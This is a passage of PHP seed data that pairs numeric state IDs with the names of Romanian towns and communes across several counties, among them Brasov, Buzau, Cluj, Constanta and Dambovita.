'2941', 'name' => 'silistea'],\n ['state_id' => '2941', 'name' => 'stancuta'],\n ['state_id' => '2941', 'name' => 'surdila-gaiseanca'],\n ['state_id' => '2941', 'name' => 'surdila-greci'],\n ['state_id' => '2941', 'name' => 'sutesti'],\n ['state_id' => '2941', 'name' => 'tichilesti'],\n ['state_id' => '2941', 'name' => 'traian'],\n ['state_id' => '2941', 'name' => 'tudor vladimirescu'],\n ['state_id' => '2941', 'name' => 'tufesti'],\n ['state_id' => '2941', 'name' => 'ulmu'],\n ['state_id' => '2941', 'name' => 'unirea'],\n ['state_id' => '2941', 'name' => 'vadeni'],\n ['state_id' => '2941', 'name' => 'victoria'],\n ['state_id' => '2941', 'name' => 'visani'],\n ['state_id' => '2941', 'name' => 'viziru'],\n ['state_id' => '2941', 'name' => 'zavoaia'],\n ['state_id' => '2942', 'name' => 'apata'],\n ['state_id' => '2942', 'name' => 'beclean'],\n ['state_id' => '2942', 'name' => 'bod'],\n ['state_id' => '2942', 'name' => 'bran'],\n ['state_id' => '2942', 'name' => 'brasov'],\n ['state_id' => '2942', 'name' => 'budila'],\n ['state_id' => '2942', 'name' => 'bunesti'],\n ['state_id' => '2942', 'name' => 'cata'],\n ['state_id' => '2942', 'name' => 'cincu'],\n ['state_id' => '2942', 'name' => 'codlea'],\n ['state_id' => '2942', 'name' => 'comana'],\n ['state_id' => '2942', 'name' => 'cristian'],\n ['state_id' => '2942', 'name' => 'dumbravita'],\n ['state_id' => '2942', 'name' => 'fagaras'],\n ['state_id' => '2942', 'name' => 'feldioara'],\n ['state_id' => '2942', 'name' => 'fundata'],\n ['state_id' => '2942', 'name' => 'ghimbav'],\n ['state_id' => '2942', 'name' => 'halchiu'],\n ['state_id' => '2942', 'name' => 'harman'],\n ['state_id' => '2942', 'name' => 'harseni'],\n ['state_id' => '2942', 'name' => 'hoghiz'],\n ['state_id' => '2942', 'name' => 'homorod'],\n ['state_id' => '2942', 'name' => 'jibert'],\n ['state_id' => '2942', 'name' => 'lisa'],\n ['state_id' => '2942', 'name' => 'maierus'],\n ['state_id' => '2942', 'name' => 'mandra'],\n ['state_id' => '2942', 'name' => 'moeciu'],\n ['state_id' => '2942', 'name' => 'ormenis'],\n ['state_id' => '2942', 'name' => 'parau'],\n ['state_id' => '2942', 'name' => 'poiana marului'],\n ['state_id' => '2942', 'name' => 'predeal'],\n ['state_id' => '2942', 'name' => 'prejmer'],\n ['state_id' => '2942', 'name' => 'racos'],\n ['state_id' => '2942', 'name' => 'rasnov'],\n ['state_id' => '2942', 'name' => 'recea'],\n ['state_id' => '2942', 'name' => 'rupea'],\n ['state_id' => '2942', 'name' => 'sacele'],\n ['state_id' => '2942', 'name' => 'sanpetru'],\n ['state_id' => '2942', 'name' => 'sercaia'],\n ['state_id' => '2942', 'name' => 'sinca'],\n ['state_id' => '2942', 'name' => 'soars'],\n ['state_id' => '2942', 'name' => 'tarlungeni'],\n ['state_id' => '2942', 'name' => 'teliu'],\n ['state_id' => '2942', 'name' => 'ticusul'],\n ['state_id' => '2942', 'name' => 'ucea'],\n ['state_id' => '2942', 'name' => 'ungra'],\n ['state_id' => '2942', 'name' => 'vama buzaului'],\n ['state_id' => '2942', 'name' => 'victoria'],\n ['state_id' => '2942', 'name' => 'vistea'],\n ['state_id' => '2942', 'name' => 'voila'],\n ['state_id' => '2942', 'name' => 'vulcan'],\n ['state_id' => '2942', 'name' => 'zarnesti'],\n ['state_id' => '2943', 'name' => 'bucharest'],\n ['state_id' => '2943', 'name' => 'bucuresti'],\n ['state_id' => '2944', 'name' => 'amaru'],\n ['state_id' => '2944', 'name' => 'balaceanu'],\n ['state_id' => '2944', 'name' => 'balta alba'],\n ['state_id' => '2944', 'name' => 'beceni'],\n ['state_id' => '2944', 'name' => 'berca'],\n ['state_id' => '2944', 'name' => 'bisoca'],\n ['state_id' => '2944', 'name' => 'blajani'],\n ['state_id' => '2944', 'name' => 'boldu'],\n ['state_id' => '2944', 'name' => 'bozioru'],\n ['state_id' => '2944', 'name' => 'bradeanu'],\n ['state_id' => '2944', 'name' => 'braesti'],\n ['state_id' => '2944', 'name' => 'breaza'],\n ['state_id' => '2944', 'name' => 'buda'],\n ['state_id' => '2944', 'name' => 'buzau'],\n ['state_id' => '2944', 'name' => 'calvini'],\n ['state_id' => '2944', 'name' => 'canesti'],\n ['state_id' => '2944', 'name' => 'catina'],\n ['state_id' => '2944', 'name' => 'cernatesti'],\n ['state_id' => '2944', 'name' => 'chiliile'],\n ['state_id' => '2944', 'name' => 'chiojdu'],\n ['state_id' => '2944', 'name' => 'cilibia'],\n ['state_id' => '2944', 'name' => 'cislau'],\n ['state_id' => '2944', 'name' => 'cochirleanca'],\n ['state_id' => '2944', 'name' => 'colti'],\n ['state_id' => '2944', 'name' => 'constantin rosetti'],\n ['state_id' => '2944', 'name' => 'costesti'],\n ['state_id' => '2944', 'name' => 'cozieni'],\n ['state_id' => '2944', 'name' => 'galbinasi'],\n ['state_id' => '2944', 'name' => 'gheraseni'],\n ['state_id' => '2944', 'name' => 'ghergheasa'],\n ['state_id' => '2944', 'name' => 'glodeanu-silistea'],\n ['state_id' => '2944', 'name' => 'glodeanul sarat'],\n ['state_id' => '2944', 'name' => 'grebanu'],\n ['state_id' => '2944', 'name' => 'gura teghii'],\n ['state_id' => '2944', 'name' => 'largu'],\n ['state_id' => '2944', 'name' => 'lopatari'],\n ['state_id' => '2944', 'name' => 'luciu'],\n ['state_id' => '2944', 'name' => 'magura'],\n ['state_id' => '2944', 'name' => 'manzalesti'],\n ['state_id' => '2944', 'name' => 'maracineni'],\n ['state_id' => '2944', 'name' => 'margaritesti'],\n ['state_id' => '2944', 'name' => 'merei'],\n ['state_id' => '2944', 'name' => 'mihailesti'],\n ['state_id' => '2944', 'name' => 'movila banului'],\n ['state_id' => '2944', 'name' => 'murgesti'],\n ['state_id' => '2944', 'name' => 'naeni'],\n ['state_id' => '2944', 'name' => 'nehoiu'],\n ['state_id' => '2944', 'name' => 'odaile'],\n ['state_id' => '2944', 'name' => 'padina'],\n ['state_id' => '2944', 'name' => 'panatau'],\n ['state_id' => '2944', 'name' => 'pardosi'],\n ['state_id' => '2944', 'name' => 'parscov'],\n ['state_id' => '2944', 'name' => 'patarlagele'],\n ['state_id' => '2944', 'name' => 'pietroasele'],\n ['state_id' => '2944', 'name' => 'podgoria'],\n ['state_id' => '2944', 'name' => 'pogoanele'],\n ['state_id' => '2944', 'name' => 'posta calnau'],\n ['state_id' => '2944', 'name' => 'puiesti'],\n ['state_id' => '2944', 'name' => 'racoviteni'],\n ['state_id' => '2944', 'name' => 'ramnicelu'],\n ['state_id' => '2944', 'name' => 'ramnicu sarat'],\n ['state_id' => '2944', 'name' => 'robeasca'],\n ['state_id' => '2944', 'name' => 'rusetu'],\n ['state_id' => '2944', 'name' => 'sageata'],\n ['state_id' => '2944', 'name' => 'sahateni'],\n ['state_id' => '2944', 'name' => 'sapoca'],\n ['state_id' => '2944', 'name' => 'sarulesti'],\n ['state_id' => '2944', 'name' => 'scortoasa'],\n ['state_id' => '2944', 'name' => 'scutelnici'],\n ['state_id' => '2944', 'name' => 'siriu'],\n ['state_id' => '2944', 'name' => 'smeeni'],\n ['state_id' => '2944', 'name' => 'stalpu'],\n ['state_id' => '2944', 'name' => 'tintesti'],\n ['state_id' => '2944', 'name' => 'tisau'],\n ['state_id' => '2944', 'name' => 'topliceni'],\n ['state_id' => '2944', 'name' => 'ulmeni'],\n ['state_id' => '2944', 'name' => 'vadu pasii'],\n ['state_id' => '2944', 'name' => 'valcelele'],\n ['state_id' => '2944', 'name' => 'valea ramnicului'],\n ['state_id' => '2944', 'name' => 'valea salciei'],\n ['state_id' => '2944', 'name' => 'vernesti'],\n ['state_id' => '2944', 'name' => 'vintila voda'],\n ['state_id' => '2944', 'name' => 'viperesti'],\n ['state_id' => '2944', 'name' => 'zarnesti'],\n ['state_id' => '2944', 'name' => 'ziduri'],\n ['state_id' => '2945', 'name' => 'alexandru odobescu'],\n ['state_id' => '2945', 'name' => 'belciugatele'],\n ['state_id' => '2945', 'name' => 'borcea'],\n ['state_id' => '2945', 'name' => 'budesti'],\n ['state_id' => '2945', 'name' => 'calarasi'],\n ['state_id' => '2945', 'name' => 'cascioarele'],\n ['state_id' => '2945', 'name' => 'chirnogi'],\n ['state_id' => '2945', 'name' => 'chiselet'],\n ['state_id' => '2945', 'name' => 'ciocanesti'],\n ['state_id' => '2945', 'name' => 'curcani'],\n ['state_id' => '2945', 'name' => 'cuza voda'],\n ['state_id' => '2945', 'name' => 'dichiseni'],\n ['state_id' => '2945', 'name' => 'dor marunt'],\n ['state_id' => '2945', 'name' => 'dorobantu'],\n ['state_id' => '2945', 'name' => 'dragalina'],\n ['state_id' => '2945', 'name' => 'dragos voda'],\n ['state_id' => '2945', 'name' => 'frasinet'],\n ['state_id' => '2945', 'name' => 'frumusani'],\n ['state_id' => '2945', 'name' => 'fundeni'],\n ['state_id' => '2945', 'name' => 'fundulea'],\n ['state_id' => '2945', 'name' => 'gradistea'],\n ['state_id' => '2945', 'name' => 'gurbanesti'],\n ['state_id' => '2945', 'name' => 'ileana'],\n ['state_id' => '2945', 'name' => 'independenta'],\n ['state_id' => '2945', 'name' => 'jegalia'],\n ['state_id' => '2945', 'name' => 'lehliu'],\n ['state_id' => '2945', 'name' => 'lehliu-gara'],\n ['state_id' => '2945', 'name' => 'luica'],\n ['state_id' => '2945', 'name' => 'lupsanu'],\n ['state_id' => '2945', 'name' => 'manastirea'],\n ['state_id' => '2945', 'name' => 'mitreni'],\n ['state_id' => '2945', 'name' => 'modelu'],\n ['state_id' => '2945', 'name' => 'nana'],\n ['state_id' => '2945', 'name' => 'nicolae balcescu'],\n ['state_id' => '2945', 'name' => 'oltenita'],\n ['state_id' => '2945', 'name' => 'perisoru'],\n ['state_id' => '2945', 'name' => 'plataresti'],\n ['state_id' => '2945', 'name' => 'radovanu'],\n ['state_id' => '2945', 'name' => 'roseti'],\n ['state_id' => '2945', 'name' => 'sarulesti'],\n ['state_id' => '2945', 'name' => 'sohatu'],\n ['state_id' => '2945', 'name' => 'soldanu'],\n ['state_id' => '2945', 'name' => 'spantov'],\n ['state_id' => '2945', 'name' => 'stefan voda'],\n ['state_id' => '2945', 'name' => 'stefan cel mare'],\n ['state_id' => '2945', 'name' => 'tamadau mare'],\n ['state_id' => '2945', 'name' => 'ulmeni'],\n ['state_id' => '2945', 'name' => 'ulmu'],\n ['state_id' => '2945', 'name' => 'unirea'],\n ['state_id' => '2945', 'name' => 'valcelele'],\n ['state_id' => '2945', 'name' => 'valea argovei'],\n ['state_id' => '2945', 'name' => 'vasilati'],\n ['state_id' => '2945', 'name' => 'vlad tepes'],\n ['state_id' => '2946', 'name' => 'anina'],\n ['state_id' => '2946', 'name' => 'armenis'],\n ['state_id' => '2946', 'name' => 'baile herculane'],\n ['state_id' => '2946', 'name' => 'bania'],\n ['state_id' => '2946', 'name' => 'bautar'],\n ['state_id' => '2946', 'name' => 'berliste'],\n ['state_id' => '2946', 'name' => 'berzasca'],\n ['state_id' => '2946', 'name' => 'berzovia'],\n ['state_id' => '2946', 'name' => 'bocsa'],\n ['state_id' => '2946', 'name' => 'bolvasnita'],\n ['state_id' => '2946', 'name' => 'bozovici'],\n ['state_id' => '2946', 'name' => 'brebu'],\n ['state_id' => '2946', 'name' => 'brebu nou'],\n ['state_id' => '2946', 'name' => 'buchin'],\n ['state_id' => '2946', 'name' => 'bucosnita'],\n ['state_id' => '2946', 'name' => 'caransebes'],\n ['state_id' => '2946', 'name' => 'carasova'],\n ['state_id' => '2946', 'name' => 'carbunari'],\n ['state_id' => '2946', 'name' => 'ciclova romana'],\n ['state_id' => '2946', 'name' => 'ciuchici'],\n ['state_id' => '2946', 'name' => 'ciudanovita'],\n ['state_id' => '2946', 'name' => 'constantin daicoviciu'],\n ['state_id' => '2946', 'name' => 'copacele'],\n ['state_id' => '2946', 'name' => 'cornea'],\n ['state_id' => '2946', 'name' => 'cornereva'],\n ['state_id' => '2946', 'name' => 'coronini'],\n ['state_id' => '2946', 'name' => 'dalboset'],\n ['state_id' => '2946', 'name' => 'doclin'],\n ['state_id' => '2946', 'name' => 'dognecea'],\n ['state_id' => '2946', 'name' => 'domasnea'],\n ['state_id' => '2946', 'name' => 'eftimie murgu'],\n ['state_id' => '2946', 'name' => 'ezeris'],\n ['state_id' => '2946', 'name' => 'farliug'],\n ['state_id' => '2946', 'name' => 'forotic'],\n ['state_id' => '2946', 'name' => 'garnic'],\n ['state_id' => '2946', 'name' => 'glimboca'],\n ['state_id' => '2946', 'name' => 'goruia'],\n ['state_id' => '2946', 'name' => 'gradinari'],\n ['state_id' => '2946', 'name' => 'iablanita'],\n ['state_id' => '2946', 'name' => 'lapusnicel'],\n ['state_id' => '2946', 'name' => 'lapusnicu mare'],\n ['state_id' => '2946', 'name' => 'luncavita'],\n ['state_id' => '2946', 'name' => 'lupac'],\n ['state_id' => '2946', 'name' => 'marga'],\n ['state_id' => '2946', 'name' => 'maureni'],\n ['state_id' => '2946', 'name' => 'mehadia'],\n ['state_id' => '2946', 'name' => 'mehadica'],\n ['state_id' => '2946', 'name' => 'moldova noua'],\n ['state_id' => '2946', 'name' => 'naidas'],\n ['state_id' => '2946', 'name' => 'obreja'],\n ['state_id' => '2946', 'name' => 'ocna de fier'],\n ['state_id' => '2946', 'name' => 'oravita'],\n ['state_id' => '2946', 'name' => 'otelu rosu'],\n ['state_id' => '2946', 'name' => 'paltinis'],\n ['state_id' => '2946', 'name' => 'pojejena'],\n ['state_id' => '2946', 'name' => 'prigor'],\n ['state_id' => '2946', 'name' => 'racasdia'],\n ['state_id' => '2946', 'name' => 'ramna'],\n ['state_id' => '2946', 'name' => 'resita'],\n ['state_id' => '2946', 'name' => 'rusca montana'],\n ['state_id' => '2946', 'name' => 'sacu'],\n ['state_id' => '2946', 'name' => 'sasca montana'],\n ['state_id' => '2946', 'name' => 'sichevita'],\n ['state_id' => '2946', 'name' => 'slatina-timis'],\n ['state_id' => '2946', 'name' => 'socol'],\n ['state_id' => '2946', 'name' => 'sopotu nou'],\n ['state_id' => '2946', 'name' => 'tarnova'],\n ['state_id' => '2946', 'name' => 'teregova'],\n ['state_id' => '2946', 'name' => 'ticvaniu mare'],\n ['state_id' => '2946', 'name' => 'toplet'],\n ['state_id' => '2946', 'name' => 'turnu ruieni'],\n ['state_id' => '2946', 'name' => 'valiug'],\n ['state_id' => '2946', 'name' => 'varadia'],\n ['state_id' => '2946', 'name' => 'vermes'],\n ['state_id' => '2946', 'name' => 'vrani'],\n ['state_id' => '2946', 'name' => 'zavoi'],\n ['state_id' => '2946', 'name' => 'zorlentu mare'],\n ['state_id' => '2947', 'name' => 'aghiresu'],\n ['state_id' => '2947', 'name' => 'aiton'],\n ['state_id' => '2947', 'name' => 'alunis'],\n ['state_id' => '2947', 'name' => 'apahida'],\n ['state_id' => '2947', 'name' => 'aschileu'],\n ['state_id' => '2947', 'name' => 'baciu'],\n ['state_id' => '2947', 'name' => 'baisoara'],\n ['state_id' => '2947', 'name' => 'belis'],\n ['state_id' => '2947', 'name' => 'bobalna'],\n ['state_id' => '2947', 'name' => 'bontida'],\n ['state_id' => '2947', 'name' => 'borsa'],\n ['state_id' => '2947', 'name' => 'buza'],\n ['state_id' => '2947', 'name' => 'caianu'],\n ['state_id' => '2947', 'name' => 'calarasi'],\n ['state_id' => '2947', 'name' => 'calatele'],\n ['state_id' => '2947', 'name' => 'camarasu'],\n ['state_id' => '2947', 'name' => 'campia turzii'],\n ['state_id' => '2947', 'name' => 'capusu mare'],\n ['state_id' => '2947', 'name' => 'caseiu'],\n ['state_id' => '2947', 'name' => 'catcau'],\n ['state_id' => '2947', 'name' => 'catina'],\n ['state_id' => '2947', 'name' => 'ceanu mare'],\n ['state_id' => '2947', 'name' => 'chinteni'],\n ['state_id' => '2947', 'name' => 'chiuiesti'],\n ['state_id' => '2947', 'name' => 'ciucea'],\n ['state_id' => '2947', 'name' => 'ciurila'],\n ['state_id' => '2947', 'name' => 'cluj-napoca'],\n ['state_id' => '2947', 'name' => 'cojocna'],\n ['state_id' => '2947', 'name' => 'cornesti'],\n ['state_id' => '2947', 'name' => 'cuzdrioara'],\n ['state_id' => '2947', 'name' => 'dabaca'],\n ['state_id' => '2947', 'name' => 'dej'],\n ['state_id' => '2947', 'name' => 'feleacu'],\n ['state_id' => '2947', 'name' => 'fizesu gherlii'],\n ['state_id' => '2947', 'name' => 'floresti'],\n ['state_id' => '2947', 'name' => 'frata'],\n ['state_id' => '2947', 'name' => 'garbau'],\n ['state_id' => '2947', 'name' => 'geaca'],\n ['state_id' => '2947', 'name' => 'gherla'],\n ['state_id' => '2947', 'name' => 'gilau'],\n ['state_id' => '2947', 'name' => 'huedin'],\n ['state_id' => '2947', 'name' => 'iara'],\n ['state_id' => '2947', 'name' => 'iclod'],\n ['state_id' => '2947', 'name' => 'izvoru crisului'],\n ['state_id' => '2947', 'name' => 'jichisu de jos'],\n ['state_id' => '2947', 'name' => 'jucu'],\n ['state_id' => '2947', 'name' => 'luna'],\n ['state_id' => '2947', 'name' => 'maguri-racatau'],\n ['state_id' => '2947', 'name' => 'manastireni'],\n ['state_id' => '2947', 'name' => 'margau'],\n ['state_id' => '2947', 'name' => 'marisel'],\n ['state_id' => '2947', 'name' => 'mica'],\n ['state_id' => '2947', 'name' => 'mihai viteazu'],\n ['state_id' => '2947', 'name' => 'mintiu gherlii'],\n ['state_id' => '2947', 'name' => 'mociu'],\n ['state_id' => '2947', 'name' => 'moldovenesti'],\n ['state_id' => '2947', 'name' => 'palatca'],\n ['state_id' => '2947', 'name' => 'panticeu'],\n ['state_id' => '2947', 'name' => 'petrestii de jos'],\n ['state_id' => '2947', 'name' => 'ploscos'],\n ['state_id' => '2947', 'name' => 'poieni'],\n ['state_id' => '2947', 'name' => 'rasca'],\n ['state_id' => '2947', 'name' => 'recea cristur'],\n ['state_id' => '2947', 'name' => 'sacuieu'],\n ['state_id' => '2947', 'name' => 'sancraiu'],\n ['state_id' => '2947', 'name' => 'sandulesti'],\n ['state_id' => '2947', 'name' => 'sanmartin'],\n ['state_id' => '2947', 'name' => 'sanpaul'],\n ['state_id' => '2947', 'name' => 'savadisla'],\n ['state_id' => '2947', 'name' => 'sic'],\n ['state_id' => '2947', 'name' => 'suatu'],\n ['state_id' => '2947', 'name' => 'taga'],\n ['state_id' => '2947', 'name' => 'tritenii de jos'],\n ['state_id' => '2947', 'name' => 'turda'],\n ['state_id' => '2947', 'name' => 'tureni'],\n ['state_id' => '2947', 'name' => 'unguras'],\n ['state_id' => '2947', 'name' => 'vad'],\n ['state_id' => '2947', 'name' => 'valea ierii'],\n ['state_id' => '2947', 'name' => 'viisoara'],\n ['state_id' => '2947', 'name' => 'vultureni'],\n ['state_id' => '2948', 'name' => 'adamclisi'],\n ['state_id' => '2948', 'name' => 'agigea'],\n ['state_id' => '2948', 'name' => 'albesti'],\n ['state_id' => '2948', 'name' => 'aliman'],\n ['state_id' => '2948', 'name' => 'amzacea'],\n ['state_id' => '2948', 'name' => 'baneasa'],\n ['state_id' => '2948', 'name' => 'basarabi'],\n ['state_id' => '2948', 'name' => 'castelu'],\n ['state_id' => '2948', 'name' => 'cerchezu'],\n ['state_id' => '2948', 'name' => 'cernavoda'],\n ['state_id' => '2948', 'name' => 'chirnogeni'],\n ['state_id' => '2948', 'name' => 'ciobanu'],\n ['state_id' => '2948', 'name' => 'ciocarlia'],\n ['state_id' => '2948', 'name' => 'cobadin'],\n ['state_id' => '2948', 'name' => 'cogealac'],\n ['state_id' => '2948', 'name' => 'comana'],\n ['state_id' => '2948', 'name' => 'constanta'],\n ['state_id' => '2948', 'name' => 'corbu'],\n ['state_id' => '2948', 'name' => 'costinesti'],\n ['state_id' => '2948', 'name' => 'crucea'],\n ['state_id' => '2948', 'name' => 'cumpana'],\n ['state_id' => '2948', 'name' => 'deleni'],\n ['state_id' => '2948', 'name' => 'dobromir'],\n ['state_id' => '2948', 'name' => 'douazeci si trei august'],\n ['state_id' => '2948', 'name' => 'dumbraveni'],\n ['state_id' => '2948', 'name' => 'eforie'],\n ['state_id' => '2948', 'name' => 'garliciu'],\n ['state_id' => '2948', 'name' => 'ghindaresti'],\n ['state_id' => '2948', 'name' => 'harsova'],\n ['state_id' => '2948', 'name' => 'horia'],\n ['state_id' => '2948', 'name' => 'independenta'],\n ['state_id' => '2948', 'name' => 'ion corvin'],\n ['state_id' => '2948', 'name' => 'istria'],\n ['state_id' => '2948', 'name' => 'limanu'],\n ['state_id' => '2948', 'name' => 'lipnita'],\n ['state_id' => '2948', 'name' => 'lumina'],\n ['state_id' => '2948', 'name' => 'mangalia'],\n ['state_id' => '2948', 'name' => 'medgidia'],\n ['state_id' => '2948', 'name' => 'mereni'],\n ['state_id' => '2948', 'name' => 'mihai viteazu'],\n ['state_id' => '2948', 'name' => 'mihail kogalniceanu'],\n ['state_id' => '2948', 'name' => 'mircea voda'],\n ['state_id' => '2948', 'name' => 'navodari'],\n ['state_id' => '2948', 'name' => 'negru voda'],\n ['state_id' => '2948', 'name' => 'nicolae balcescu'],\n ['state_id' => '2948', 'name' => 'oltina'],\n ['state_id' => '2948', 'name' => 'ostrov'],\n ['state_id' => '2948', 'name' => 'ovidiu'],\n ['state_id' => '2948', 'name' => 'pantelimon'],\n ['state_id' => '2948', 'name' => 'pecineaga'],\n ['state_id' => '2948', 'name' => 'pestera'],\n ['state_id' => '2948', 'name' => 'poarta alba'],\n ['state_id' => '2948', 'name' => 'rasova'],\n ['state_id' => '2948', 'name' => 'sacele'],\n ['state_id' => '2948', 'name' => 'saraiu'],\n ['state_id' => '2948', 'name' => 'seimeni'],\n ['state_id' => '2948', 'name' => 'silistea'],\n ['state_id' => '2948', 'name' => 'targusor'],\n ['state_id' => '2948', 'name' => 'techirghiol'],\n ['state_id' => '2948', 'name' => 'topalu'],\n ['state_id' => '2948', 'name' => 'topraisar'],\n ['state_id' => '2948', 'name' => 'tortoman'],\n ['state_id' => '2948', 'name' => 'tuzla'],\n ['state_id' => '2948', 'name' => 'valu lui traian'],\n ['state_id' => '2948', 'name' => 'vulturu'],\n ['state_id' => '2949', 'name' => 'aita mare'],\n ['state_id' => '2949', 'name' => 'baraolt'],\n ['state_id' => '2949', 'name' => 'barcani'],\n ['state_id' => '2949', 'name' => 'batani'],\n ['state_id' => '2949', 'name' => 'belin'],\n ['state_id' => '2949', 'name' => 'bodoc'],\n ['state_id' => '2949', 'name' => 'borosneu mare'],\n ['state_id' => '2949', 'name' => 'bradut'],\n ['state_id' => '2949', 'name' => 'brates'],\n ['state_id' => '2949', 'name' => 'bretcu'],\n ['state_id' => '2949', 'name' => 'catalina'],\n ['state_id' => '2949', 'name' => 'cernat'],\n ['state_id' => '2949', 'name' => 'chichis'],\n ['state_id' => '2949', 'name' => 'comandau'],\n ['state_id' => '2949', 'name' => 'covasna'],\n ['state_id' => '2949', 'name' => 'dobarlau'],\n ['state_id' => '2949', 'name' => 'ghelinta'],\n ['state_id' => '2949', 'name' => 'ghidfalau'],\n ['state_id' => '2949', 'name' => 'haghig'],\n ['state_id' => '2949', 'name' => 'ilieni'],\n ['state_id' => '2949', 'name' => 'intorsura buzaului'],\n ['state_id' => '2949', 'name' => 'lemnia'],\n ['state_id' => '2949', 'name' => 'malnas'],\n ['state_id' => '2949', 'name' => 'moacsa'],\n ['state_id' => '2949', 'name' => 'ojdula'],\n ['state_id' => '2949', 'name' => 'ozun'],\n ['state_id' => '2949', 'name' => 'poian'],\n ['state_id' => '2949', 'name' => 'reci'],\n ['state_id' => '2949', 'name' => 'sanzieni'],\n ['state_id' => '2949', 'name' => 'sfantu gheorghe'],\n ['state_id' => '2949', 'name' => 'sita buzaului'],\n ['state_id' => '2949', 'name' => 'targu secuiesc'],\n ['state_id' => '2949', 'name' => 'turia'],\n ['state_id' => '2949', 'name' => 'valcele'],\n ['state_id' => '2949', 'name' => 'valea crisului'],\n ['state_id' => '2949', 'name' => 'valea mare'],\n ['state_id' => '2949', 'name' => 'varghis'],\n ['state_id' => '2949', 'name' => 'zabala'],\n ['state_id' => '2949', 'name' => 'zagon'],\n ['state_id' => '2950', 'name' => 'aninoasa'],\n ['state_id' => '2950', 'name' => 'baleni'],\n ['state_id' => '2950', 'name' => 'barbuletu'],\n ['state_id' => '2950', 'name' => 'bezdead'],\n ['state_id' => '2950', 'name' => 'bilciuresti'],\n ['state_id' => '2950', 'name' => 'branesti'],\n ['state_id' => '2950', 'name' => 'branistea'],\n ['state_id' => '2950', 'name' => 'brezoaiele'],\n ['state_id' => '2950', 'name' => 'buciumeni'],\n ['state_id' => '2950', 'name' => 'bucsani'],\n ['state_id' => '2950', 'name' => 'butimanu'],\n ['state_id' => '2950', 'name' => 'candesti'],\n ['state_id' => '2950', 'name' => 'ciocanesti'],\n ['state_id' => '2950', 'name' => 'cobia'],\n ['state_id' => '2950', 'name' => 'cojasca'],\n ['state_id' => '2950', 'name' => 'comisani'],\n ['state_id' => '2950', 'name' => 'contesti'],\n ['state_id' => '2950', 'name' => 'corbii mari'],\n ['state_id' => '2950', 'name' => 'cornatelu'],\n ['state_id' => '2950', 'name' => 'cornesti'],\n ['state_id' => '2950', 'name' => 'costestii din vale'],\n ['state_id' => '2950', 'name' => 'crangurile de sus'],\n ['state_id' => '2950', 'name' => 'crevedia'],\n ['state_id' => '2950', 'name' => 'darmanesti'],\n ['state_id' => '2950', 'name' => 'dobra'],\n ['state_id' => '2950', 'name' => 'doicesti'],\n ['state_id' => '2950', 'name' => 'dragodana'],\n ['state_id' => '2950', 'name' => 'dragomiresti'],\n ['state_id' => '2950', 'name' => 'edera de jos'],\n ['state_id' => '2950', 'name' => 'fieni'],\n ['state_id' => '2950', 'name' => 'finta'],\n ['state_id' => '2950', 'name' => 'gaesti'],\n ['state_id' => '2950', 'name' => 'glodeni'],\n ['state_id' => '2950', 'name' => 'gura foii'],\n ['state_id' => '2950', 'name' => 'gura ocnitei'],\n ['state_id' => '2950', 'name' => 'gura sutii'],\n ['state_id' => '2950', 'name' => 'hulubesti'],\n ['state_id' => '2950', 'name' => 'ion luca caragiale'],\n ['state_id' => '2950', 'name' => 'lucieni'],\n ['state_id' => '2950', 'name' => 'ludesti'],\n ['state_id' => '2950', 'name' => 'lunguletu'],\n ['state_id' => '2950', 'name' => 'malu cu flori'],\n ['state_id' => '2950', 'name' => 'manesti'],\n ['state_id' => '2950', 'name' => 'matasaru'],\n ['state_id' => '2950', 'name' => 'mogosani'],\n ['state_id' => '2950', 'name' => 'moreni'],\n ['state_id' => '2950', 'name' => 'moroeni'],\n ['state_id' => '2950', 'name' => 'morteni'],\n ['state_id' => '2950', 'name' => 'motaeni'],\n ['state_id' => '2950', 'name' => 'niculesti'],\n ['state_id' => '2950', 'name' => 'nucet'],\n ['state_id' => '2950', 'name' => 'ocnita'],\n ['state_id' => '2950', 'name' => 'odobesti'],\n ['state_id' => '2950', 'name' => 'petresti'],\n ['state_id' => '2950', 'name' => 'pietrosita'],\n ['state_id' => '2950', 'name' => 'poiana'],\n ['state_id' => '2950', 'name' => 'potlogi'],\n ['state_id' => '2950', 'name' => 'produlesti'],\n ['state_id' => '2950', 'name' => 'pucheni'],\n ['state_id' => '2950', 'name' => 'pucioasa'],\n ['state_id' => '2950', 'name' => 'racari'],\n ['state_id' => '2950', 'name' => 'razvad'],\n ['state_id' => '2950', 'name' => 'runcu'],\n ['state_id' => '2950', 'name' => 'salcioara'],\n ['state_id' => '2950', 'name' => 'selaru'],\n ['state_id' => '2950', 'name' => 'slobozia moara'],\n ['state_id' => '2950', 'name' => 'sotanga'],\n ['state_id' => '2950', 'name' => 'targoviste'],\n ['state_id' => '2950', 'name' => 'tartasesti'],\n ['state_id' => '2950', 'name' => 'tatarani'],\n ['state_id' => '2950', 'name' => 'titu'],\n ['state_id' => '2950', 'name' => 'uliesti'],\n ['state_id' => '2950', 'name' => 'ulmi'],\n ['state_id' => '2950', 'name' => 'vacaresti'],\n ['state_id' => '2950', 'name' => 'valea lunga'],\n ['state_id' => '2950', 'name' => 'valea mare'],\n ['state_id' => '2950', 'name' => 'valeni-dambovita'],\n ['state_id' => '2950', 'name' => 'varfuri'],\n ['state_id' => '2950', 'name' => 'visina'],\n ['state_id' => '2950', 'name' => 'visinesti'],\n ['state_id' => '2950', 'name' => 'voinesti'],\n ['state_id' => '2950', 'name' => 'vulcana bai'],\n ['state_id' => '2951', 'name' => 'afumati'],\n ['state_id' => '2951', 'name' => 'almajiu'],\n ['state_id' => '2951', 'name' => 'amarastii de jos'],\n ['state_id' => '2951', 'name' => 'amarastii de sus'],\n ['state_id' => '2951', 'name' => 'apele vii'],\n ['state_id' => '2951', 'name' => 'argetoaia'],\n ['state_id' => '2951', 'name' => 'bailesti'],\n ['state_id' => '2951', 'name' => 'barca'],\n ['state_id' => '2951', 'name' => 'bechet'],\n ['state_id' => '2951', 'name' => 'bistret'],\n ['state_id' => '2951', 'name' => 'botosesti-paia'],\n ['state_id' => '2951', 'name' => 'brabova'],\n ['state_id' => '2951', 'name' => 'bradesti'],\n ['state_id' => '2951', 'name' => 'bralostita'],\n ['state_id' => '2951', 'name' => 'bratovoesti'],\n ['state_id' => '2951', 'name' => 'breasta'],\n ['state_id' => '2951', 'name' => 'bucovat'],\n ['state_id' => '2951', 'name' => 'bulzesti'],\n ['state_id' => '2951', 'name' => 'calafat'],\n ['state_id' => '2951', 'name' => 'calarasi'],\n ['state_id' => '2951', 'name' => 'calopar'],\n ['state_id' => '2951', 'name' => 'caraula'],\n ['state_id' => '2951', 'name' => 'carpen'],\n ['state_id' => '2951', 'name' => 'castra-nova'],\n ['state_id' => '2951', 